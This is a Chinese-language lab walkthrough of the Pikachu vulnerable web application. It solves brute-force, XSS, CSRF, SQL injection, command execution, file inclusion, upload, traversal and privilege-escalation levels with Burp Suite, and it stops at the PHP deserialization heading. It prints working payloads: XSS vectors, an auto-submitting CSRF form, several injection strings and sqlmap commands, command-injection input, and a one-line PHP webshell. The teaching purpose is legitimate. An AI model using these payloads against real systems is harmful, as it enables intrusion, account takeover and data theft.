一.暴力破解
1.基于表单的暴力破解
在概述里面可以知道,作者提示可以采用bp抓包的方式进行暴力破解,在这边构建好自己的词典,可以使用kali上的词典,也可以自己的词典,这边为了演示的话就随机创建一个username.txt文件来表示用户名,password.txt文件来表示密码
username.txt
password.txt
通过bp抓包
设置要爆破的参数,注意攻击类型选择集束炸弹(Clusterbomb)
在这里也解释下bp里面的4种攻击类型
单字典(只有一个字典)
1.Sniper:按顺序一个一个参数依次遍历,一个参数遍历完,然后恢复成原数据,再遍历下一个参数。
2.Battering ram:每个参数同时遍历同一个字典。
一个相当于单挑,一个相当于群殴。多字典(有多少参数就有多少字典)
1.Pitchfork:多个参数同时进行遍历,只是一个选字典1,一个选字典2(相当于50m赛跑同时出发,只是赛道不同)
2.Clusterbomb:有点像两个嵌套的for循环,参数i和参数j,i=0,然后j要从0-10全部跑完,然后i=1,然后j再从0-10跑完,一对多,多次遍历转载自:Burp Suite爆破模块中的四种模式的区别详解和演示(暴力破解)_bpcluster bomb-CSDN博客
配置相关的字典
配置好后,点击开始攻击,长度不一致的就是爆破出的用户名以及对应的密码
密码长度为35078的项目数最少,猜测可能这就是正确的用户名和密码,用爆破出的用户名和密码登录
发现可以成功登录,确定这就是正确的用户名和密码,并且点击提示也可以得知用户名和密码与前面爆破出的用户名和密码是对的上的
2.验证码绕过(on server)
像这种验证码直接展示在前端是非常危险的,并且发现只要页面不刷新验证码就一直不会变,同样可以通过bp爆破出密码,使用bp抓包
在用户名和密码处添加$,同样的,攻击类型选择集束炸弹
后面的步骤跟前面提到的也是一样的,通过长度的不同可以得知admin的密码为123456,pikachu的密码为000000,test的密码为abc123
3.验证码绕过(on client)
这次的页面又有些许不同了,随便输入一个账号和密码,验证码也随便输,看看页面有什么变化
弹出了一个弹窗,提示验证码输入不对,这次输入一个正确的验证码看看又有什么变化
提示页面用户名或者密码不存在,此时检查下网页的源代码
发现验证码的生成代码就直接写在前端页面,这是非常不安全的
此时,可以采取点击先F12,之后点击F1,勾选禁用javascript
发现此时的验证码模块就不存在了,还是采用上面的步骤通过bp进行破解
可以得到爆破出的账户名和密码
4.token防爆破
在此之前先了解下token的用处
token验证是一种用户认证技术,它使用固定编码的凭证来授予客户端访问服务端资源的许可权。当用户第一次登录服务器时,服务器会返回一个Token,即“令牌”。这个Token被放在请求头中,并在后续与服务器通信时提交,以便进行身份验证。这样,用户就不需要每次请求都提交账户和密码
也就是说服务器会通过发送给客户端的token进行校验,用户名和密码正确也是不行的,因此,首先得想办法获取到服务器发送给客户端的token,然后带着这个token再去请求服务端。
采用bp进行抓包,发现多了一个token字段
在这里需要对密码和token参数进行爆破,并且攻击类型选择音叉(Pitchfork)
对于第一个参数选择password.txt文件
而对于第二个参数token,首先选择递归搜索
依次按如下图的方式进行点击,找到服务器第一次发送给客户端的token
最终找到了所需的token值,复制后点击ok
回到有效载荷,将复制好的token粘贴上去,点击开始攻击
如果出现如下的错误需要重新设置下线程数
在选项里面设置线程数为1,点击开始攻击
根据长度的不同,可以得知admin的密码为123456
二.Cross-Site-Scripting
进入第二关了,这次是xss
1.反射型xss(get)
此时输入以下语句
<script>alert(1)</script>
但是输入的时候发现前端限制了输入的字符数
此时可以通过bp抓包后进行改包然后再对其放行,发现成功执行了上述代码
2.反射型xss(post)
看一下作者给的提示,这边提示通过xss获取cookie
老办法,先进行爆破
得到需要的用户名和账号
输入以下代码
<script>alert(document.cookie)</script>
利用方式还是没有什么变化,只是说post提交和get提交有些许不同
两者区别:get型提交的数据会显示在url中,而post不会
3.存储型xss
当输入代码后
此时随机输入一些字符发现也会弹出1
并且在进行切换页面时,也会触发弹窗
这就是存储性与反射性永久性和一次性的区别,会永久的存储在数据库中
4.dom型xss
在这里先了解下dom型xss
DOM型XSS(Document Object Model Cross-Site Scripting)是一种常见的跨站脚本攻击技术,它利用浏览器中的DOM(Document Object Model)来执行恶意脚本,从而导致安全漏洞。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
DOM型XSS攻击与传统的存储型和反射型XSS攻击有所不同。在DOM型XSS中,攻击者通过构造恶意URL或修改页面中的DOM元素等方式,将恶意脚本注入到目标网页的DOM中。当用户浏览该页面时,浏览器会解析并执行恶意脚本,导致攻击成功。
具体来说,攻击者会构造一个链接发给受害者使其访问漏洞页面,URL查询字符串或者部分片段中含有payload。浏览器在解析和执行DOM时会执行这些脚本,从而达到攻击的目的。这些攻击可以劫持用户会话、窃取敏感信息,或者执行其他恶意操作
也就是向文档对象传入xss代码参数,然后操作文档对象时就会触发xss攻击
先随机输入一些字符,点击click me!
查看源代码,找到what do you see
这段代码的意思是
domxss
函数获取了页面上ID为"text"的元素的值,并将该值作为链接的href
属性插入到一个ID为"dom"的元素中
因此构造一个恶意代码,点击
' οnclick="alert('xss')">
此时恶意语句就变成
<a href='' οnclick="alert(‘xss’)">'>
点击what do you see就可以触发弹窗
5.dom型xss
查看网页源代码
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
这一关跟上一关的区别在于这次是从url中获取我们输入的text参数的
构造恶意代码
' onclick="alert('xss')">
6.xss盲打
点击一下提示
作者提示可以登录后台,并给出了后台地址,随便写点东西,点击提交
登陆后台,发现后台记录着上次提交的一些数据
此时,试一下写入一个恶意xss代码
点击提交后登录到后台,发现成功执行了恶意代码
查看网页的源代码可以发现,后台直接就将前端输入的字符直接存储,没有对其进行严格过滤
7.xss之过滤
输入恶意代码
<script>alert(1)</script>
发现只留下了>,其他的被过滤掉了
输入123试试看,发现没有被过滤
输入<script>
发现被过滤掉了
因此可以知道后端会过滤掉<script>,此时换一个标签就好
<img src=1 οnerrοr=alert(1)>
如果浏览器在尝试加载这个不存在的图片源时遇到错误,那么它会执行
onerror
属性中的JavaScript代码
成功触发弹窗事件
8.xss之htmlspecialchars
先去了解下这个标题的意思
也就是说htmlspecialchars会将特殊字符转换为对应的html实体
但是specialchars
这个函数,就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号,因此修改恶意代码即可实现绕过
先输入常规的恶意代码试试看,点击submit
发现输入的会被记录,但是被转换为实体意义了
查看网页源代码,发现输入的恶意代码,成为了链接属性
此时构造恶意代码
javascript:alert(1)
成功触发弹窗事件
9.xss之href输出
输入常规的恶意代码,点击submit后
再次点击后直接404了
查看网页的源代码,发现输入的代码变成了href链接,因为链接不存在,所以弹出了404
这个跟上面的是一样的,改下攻击代码就行了
javascript:alert(1)
成功触发弹窗事件
10.xss之js输出
输入常规的恶意代码,点击提交
发现什么都没显示
查看下网页的源代码,发现写入的恶意代码输出到了js节点中了
尝试构造闭合实现输入的js代码
x'</script><script>alert('123')</script>
关闭一个已存在的<script>标签,然后开启一个新的<script>标签来执行alert('123'),从而弹出一个包含消息“123”的警告框
成功实现跳转
三.CSRF
先了解下csrf漏洞,这边就直接复制概述里面的回答了
CSRF(跨站请求伪造)概述
Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。如果你没有读太明白,不要犹豫,请再读一遍啦
你可以通过“Cross-site request forgery”对应的测试栏目,来进一步的了解该漏洞。
1.CSRF(get)
页面是这样的,看起来很像暴力破解的页面,因此先使用暴力破解试一下
发现没有破解出来,可能是先前构造的词典没有包含正确的用户名和密码
看一下作者的提示
果然,先前的词典并没有包含这些用户名,因为这关主要是对csrf漏洞,所以就直接采用作者的提示
登录后台
使用bp抓取修改个人数据这个包
将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成hacker@qq.com, 那么构成的CSRF攻击payload为http://172.16.138.103/pikachu/vul/csrf/csrfget/csrf_get.php?sex=boy&phonenum=18626545453&add=chain&email=hacker%40qq.com&submit=submit
如果被攻击者此时登录状态或cookie/session没有过期,则被攻击者的信息被修改,那么假如去诱导点击这个构造的恶意链接就能实现修改其邮箱,这个就是csrf的利用方式,通常情况下要对这个链接进行一些伪装,以便达到攻击目的
2.CSRF(post)
还是一样,先进行登录,但是这次的请求方式是post类型,也就是说无法通过构造恶意的url来诱导用户进行点击
但是可以换一种方式,比如说构造一个恶意表单,这样当用户访问这个表单时,就会触发里面的恶意代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>csrf_post</title>
<script>
#当页面加载完成时(window.onload事件触发),会自动找到ID为"postsubmit"的输入元素(即提交按钮),
#并模拟点击它,从而提交表单
window.onload = function(){
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://172.16.138.101/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
#设置相关的属性值
<input type="text" name="sex" value="1"><br>
<input type="hidden" name="phonenum" value="HypeRong"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="hacker"><br>
<input id="postsubmit" type="submit" name="submit" value="submit">
</form>
</body>
</html>
3.CSRF Token
进入到第三关,先了解下csrf token的作用
CSRF token(跨站请求伪造令牌)是一种用于防范CSRF(跨站请求伪造)攻击的技术。当服务器采用这种技术时,它会要求每次表单提交或AJAX请求时包含一个随机生成的token值。这个token值通常由服务器生成,并通过某种方式(如存储在用户会话中或作为cookie发送)传递给客户端。
客户端在提交表单或发送请求时,必须包含这个token值。服务器会验证请求中是否包含这个token,并且这个token是否与服务器端存储的有效token匹配。如果token无效或缺失,服务器会拒绝处理请求,从而防止了CSRF攻击。
点击提交按钮,通过bp抓包可以看到里面出现了一个token字段,从url可以看出访问了token_get_edit.php,执行后端代码,生成token,并且发送到前端页面,通过hidden属性隐藏起来,放在表单中
查看下token_get_edit.php
点击submit时,会将从后端发过来的token和所要提交的数据,以表单的形式一并发送到后端服务器,后端服务器会验证此token。
发现在get请求提交的基础上增加了Token,当我们刷新页面时Token值会发生变化,这样也就完全防止了CSRF漏洞的产生。
四.SQL_INJECTION
1.数字型注入(post)
使用bp抓包
在id=1后面添加单引号,此时对应着的sql查询语句
select 字段1,字段2 from 表名 where username = 1;
在后面添加一个单引号
发现提示报错,此时可以判断是数字型注入
将id=1后面添加 or 1=1
1=1
是一个恒真的表达式。这意味着不论id=1的值是什么,这个查询都会返回表中的所有记录
全选,然后发送给重发器,点击发送
发现列出了所有的用户名
2.字符型注入(get)
使用bp抓包
可以看出这次采用get方式提交,参数直接出现在了url里面
猜测这里的select语句应该是这样的
select 字段1,字段2 from 表名 where username = '1';
构造payload
1’ or 1=1#
那么此时对应着sql查询语句应该是
select 字段1,字段2 from 表名 where username = '1' or 1=1#';
#
在MySQL中是一个单行注释的开始。这意味着在#
之后的所有内容都会被数据库解释器忽略。因此,任何在#
之后的原始SQL语句部分都不会被执行,#字符后面的内容由于被注释掉了,所以不会造成SQL语法错误
通过bp进行改包
可以看到页面显示出了所有id和用户名
3.搜索型注入
使用bp抓包,添加一个单引号发现提示错误,并且说出了错误的大致位置
猜测sql查询语句应该是
SELECT * FROM articles WHERE LOWER(content) LIKE '%1%';
那么构造恶意的payload
1%' or 1=1#
可知页面存在注入漏洞
4.xx型注入
这边尝试了1',1",1)发现还是构造不了闭合
多尝试几次,最终发现使用1‘)可以实现闭合
payload
1') or 1=1#
5.insert/update注入
点击注册,这里随便写入一些数据,使用bp抓包
在username=a后面添加单引号'
提示语法不正确,报错信息中没有出现a,可能是单引号完成闭合了,最后还需要加个)完成闭合
构造payload
a','b','c','d','e','f')#
bp提交后发现这个页面没有进行回显,采用报错注入的形式让查询的数据显示在报错页面中
报错注入
报错注入(Error-based SQL Injection)是SQL注入攻击的一种形式,它依赖于应用程序返回的错误消息来暴露有关数据库结构的信息,进而利用这些信息进行攻击。
当应用程序的数据库查询没有被正确地过滤或转义用户输入时,恶意用户可以尝试输入特定的SQL代码片段,这些代码片段会触发数据库错误,并返回有关数据库结构的详细信息,例如表名、列名等。一旦攻击者获得了这些信息,他们就可以进一步构造更复杂的SQL注入攻击,以获取、修改或删除数据库中的数据。
报错注入常用的一些函数有
--xpath语法错误
updatexml(): 修改查询到的内容
extractvalue():查询节点内容
它们的第二个参数都是要求符合xpath语法的字符串,如果不满足要求则会报错,并且将查询结果放在报错信息里
floor():返回小于等于该值的最大整数
因此构造payload
username=a’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’
concat(0x7e,(select database()),0x7e)
将数据库的名称与两个波浪线(~
)字符连接在一起(0x7e
是波浪线的十六进制表示)。如果数据库的名称是mydb
,那么concat
函数的结果将是~mydb~
。updatexml
函数试图将这个字符串作为XML文档来处理,但由于它不是一个有效的XML文档,所以会触发一个错误
可以发现成功弹出了当前的数据库名称
然后就是替换database(),查询其他数据
下面查询的长度超出updatexml函数的显示范围了(显示32个字符),需要在payload中加substr()函数来把剩下的字符显示出来,拼接起来就是查询出的数据
username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or'
之后的内容就不过多阐述了,基本上手工注入的方式慢慢被淘汰了,只需了解下它的原理
在修改个人页面那里,借助同样的方式也可以获取相应的数据库信息
6.delete注入
点击删除,使用bp抓包
构造闭合
60 or updatexml(1,concat(0x7e,database()),0)
利用报错注入的原理
但是弹出了错误,此时需要对其进行url编码
先发送给repeater
点击发送,可以看到成功爆出了数据库名称
7.http header注入
使用bp抓包,并将UA更改为',发现页面提示错误,可判断存在注入点为字符型
构造闭合
60' or updatexml(1,concat(0x7e,database()),0)
成功爆出了数据库名
8.盲注(base on boolian)
先了解下什么情况下可以用boole盲注
1.该输入框存在注入点。
2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
基于以前的关卡:2.字符型注入可以得知,里面包含的username有
当输入lucy'
页面返回
当输入lucy'#
页面正常回显,判断属于单引号的字符型注入
构造payload
lucy' and length(database())>=11 #
换成>=10
lucy' and length(database())>=10 #
依次缩小范围,直到>=7
发现此时页面的回显不一样了,可以判断数据库的长度为7
此时知道了数据库的长度为7,此时进行猜测数据库的第一个字符为多少
构造payload
lucy' and substr(database(),1,1)='a'#
这行代码的意思是从database截取第一个字符并判断是否为a
依次修改为b,c,d...,但是这样做的话有点慢,此时采用bp进行爆破
构造一个字典
可以看出,第一个字符为p
同样的修改payload
lucy' and substr(database(),2,1)='a'#
猜解第二个字符为多少
可以得知第二个字符为i
依次类推就可以猜测出数据库的名称
后面的就不在做演示了,只是大致说下流程
猜测表名:and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>144# 往后继续猜测第二个、第三个字母…
猜测字段名:and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)>105 --+ 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段.
猜测字段内容:因为知道了列名,所以直接 select password from users 就可以获取password里面的内容,username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
当然也可以直接借助sqlmap工具
sqlmap -u "http://172.16.138.103/pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=查询" --current-db
显示出当前的数据库名称
爆表
sqlmap -u "http://172.16.138.103/pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=查询" -D pikachu --tables
爆列名
sqlmap -u "http://172.16.138.103/pikachu/vul/sqli/sqli_blind_b.php?name=lucy&submit=查询" -D pikachu -T users --columns
9.盲注(base on time)
这次是基于时间的盲注,先看看使用先前布尔类型的payload看看有啥区别
发现无论输入什么,都是显示
这次使用时间盲注,构造payload
lucy' and sleep(5)#
发现差不多是过了5秒,浏览器才显示出回显
因此,判断此处存在注入点
构造payload
lucy' and If(length(database())>=3,1,sleep(5))#
如果数据库名字的长度大于等于3,则用时1秒,反之用时5秒
可以看到浏览器很快就反应过来,判断名字的长度大于3
依次增大值
lucy' and If(length(database())>=4,1,sleep(5))#
发现当设置为8时,浏览器执行了sleep(5),说明数据库的长度为7
继续猜测第一个字符是多少
lucy' and if((substr(database(),1,1))='a',sleep(5),1)#
直到值为'p',页面经过了5秒才回显,所以第一个值为p,依次类推猜解出数据库的名字为pikachu
后面的操作跟布尔盲注比较类似,这里就不多做阐述了,只用记住一些常用的函数即可
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
sleep(5):延时5秒
length(database()):求数据库的长度
substr(database(),1,1):截取数据库的第一个字符
10.宽字节注入
这里先了解下宽字节注入的原理
宽字节注入的根本原理是:代码层与数据库层的编码不一致,并且宽字节本身有“吞”ASCII字符的现象。具体例如:在 SQL 注入时,尝试使用单引号 ' 逃逸时,发现被代码层自动加上了转义符号 \,变成了 \',如果代码中自行添加的转义符号 \ 为 ASCII 编码,那么 \' 的十六进制就是 %5C%27,这时候,如果参数使用 ß',十六进制就是 %DF%27,经过代码中自动为 %27 加上的转义符号 %5C 之后,参数就变成了 %DF%5C%27,而到了 MySQL 中,如果 MySQL 使用的是 GBK 编码(宽字节的一种),则会将 %DF%5C 当做一个宽字节,剩下的 %27 当做一个字符,这就导致了转移符号 %5C 被 %DF 吞掉,组成了一个新的字符,而单引号 %27 却逃过了 %5C 的转义。
查看下提示,提示存在kobe
因此构造payload
kobe' or 1=1#
发现此时提示username不存在,因此可以判断单引号被过滤掉了
此时使用宽字节进行注入
kobe%df’ or 1=1#
单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27,加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了
五.RCE
先了解下rce是什么
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
1.ping
这里随便输入一个地址
192.168.1.1
乱码是编码问题,问题不大
此时输入如下代码
192.168.1.1 & ipconfig
&:表示连接两个命令
ipconfig:在windows系统上弹出当前的IP地址配置情况
在Windows和Linux中有四种命令连接符, 分别是|,||,&,&&
|| 和 | 都是表示“或”,区别是||只要满足第一个条件,后面的条件就不再判断,而|要对所有的条件进行判断
&:无论前面的命令执行成功,都会执行下一个命令
&&:若前面的命令执行失败,则不会执行后面的命令
发现这里显示出了本机的一些ip地址配置情况,要防止出现这种情况可以对用户的输入进行验证,避免恶意的请求
2.eval
先了解下eval()函数的作用
eval() 函数用来执行一个字符串表达式,并返回表达式的值。
因此输入一个恶意的字符串
phpinfo();
输入
system(“”):直接执行操作系统命令,例如system(“ipconfig”)
六.File Inclusion
先了解下文件包含
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
1.File Inclusion(local)
用bp抓包,可以看到提交的页面是file1.php,此时,尝试修改这个参数
将参数修改为
../../../../Windows/System32/drivers/etc/hosts
../:表示跳到上一级hosts:存储域名相关的记录
2.File Inclusion(remote)
还是通过bp抓包,可以知道通过get提交,%2F是/的url编码
在这里我们使用pikachu提供的测试文件,yijuhua.txt
这行代码的意思是
- 使用
fopen
函数以写入模式("w")打开一个名为 "yijuhua.php" 的文件。如果文件不存在,它将被创建;如果文件已存在,它的内容将被清空。返回的文件句柄存储在$myfile
变量中。- 定义一个字符串
$txt
,其中包含一段 PHP 代码<?php system($_GET[x]);?>
。这段代码的功能是执行通过 URL 参数x
传递的系统命令。system
是 PHP 的一个函数,用于执行外部程序,并返回输出。- 使用
fwrite
函数将$txt
字符串写入到 "yijuhua.php" 文件中。- 使用
fclose
函数关闭文件句柄,释放所有与该文件关联的资源。
将文件替换成远程路径,构造url,访问yijuhua.txt
这时会自动生成一个yijuhua.php文件
此时,访问这个php文件
可以看到打印出了当前的windows系统一个ip地址配置情况
当然也可以输入其他命令 看到一些敏感目录
七.Unsafe Filedownload
1.unsafe upload
先了解下不安全文件下载
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
当点击球员名字后,发现此时浏览器对其进行了下载,采用bp进行抓包处理
可以看到,此时可以通过改写filename参数,来下载其他的图片以及一些敏感文件
此时在网站根目录下保存一个txt文件,看看是否能将其下载下来
改写filename参数
注意:../是返回到上一级,此时需要返回到根目录所以要总共四次
八.Unsafe Fileupload
先了解下不安全文件上传
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...
1.client check
记住一句话:任何在前端进行的校验都是不安全的!!!!!!!!!
这里提示只能上传图片,先试一下上传一个txt文件看看行不行
提示不符合要求
此时新建一个txt文件,写入以下内容
注意是$_POST,txt文件没有显示出来
创建好后修改文件名后缀为jpg
使用bp进行抓包,将shell.jpg改为shell.php
上传成功后就会返回文件保存的路径
2.MIME Type
先了解下什么是MIME
也就是说通过Content_Type来指出文件名后缀的类型,
这次,上传一个shell.txt文件,不更改后缀名,txt文件还是写入上一关的代码,采用bp抓包
此时,Content-Type里面的内容是text/plain,改成image/jpeg
点击放包,发现成功弹出了文件的储存路径
3.getimagesize()
先了解下这个函数的作用
getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部,可通过制作图片木马或再木马文件内容头部添加GIF89a(GIF文件头), 然后利用文件包含漏洞来解析图片木马
先试试先前几关的做法
上传shell.txt,使用bp抓包,改写成image/jpeg
发现就算更改了Content-Type还是上传不了
此时,将shell.txt添加一些内容
后缀名改为jpg
上传,发现成功弹出了文件的存储路径
九.Over Permission
先了解下越权操作
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
1.水平越权
- 水平越权: A用户和B用户属于同一级别的用户, 但各自都不能操作对方的个人信息。若A用户能够越权操作B用户的个人信息, 这种情况我们称之为"水平越权"
点一下提示,总共有三个用户
登录lucy看看
点击查看个人信息
使用bp进行抓包。将username=lucy改为username=lili
发现此时无需登录,即可获取到lili的个人信息
2.垂直越权
- 垂直越权: A用户权限高于B用户, B用户能对A用户进行操作的情况称为"垂直越权"
点一下提示
先登录下admin的账号,看看有啥权限,发现可以对用户进行查看,添加和删除
再登陆下pikachu账号,发现只有查看权限
首先,先登录admin用户,点击添加用户,输入用户名和密码后,使用bp抓包,点击创建
将其发送给repeater
退出登录,登录pikachu账号,按F12,然后在控制台中输入javascript:alert (document.cookie),将cookie复制下来
进入bp的repeater模块,将cookie修改为刚刚复制的cookie值,修改username=hacker,password=tp1679,点击发送
之后返回页面,登录admin账号,发现此时页面多了一个hacker账号
十../../(目录遍历)
先了解下目录遍历
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)
1.目录遍历
此时,还是先创建一个flag.txt文件
更改url为
发现成功访问到了flag.txt文件里的内容
十一.敏感信息泄露
还是先了解下敏感信息泄露
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
---输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
---前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
1.icanseeyourabc
此时,可以考虑使用暴力破解,但是这里是敏感信息泄露,先看看网页源代码吧
发现这里直接在注释中给出了账号和密码
登录试试看
十二.PHP反序列化
先了解下php反序列化漏洞
1.php反序列化漏洞
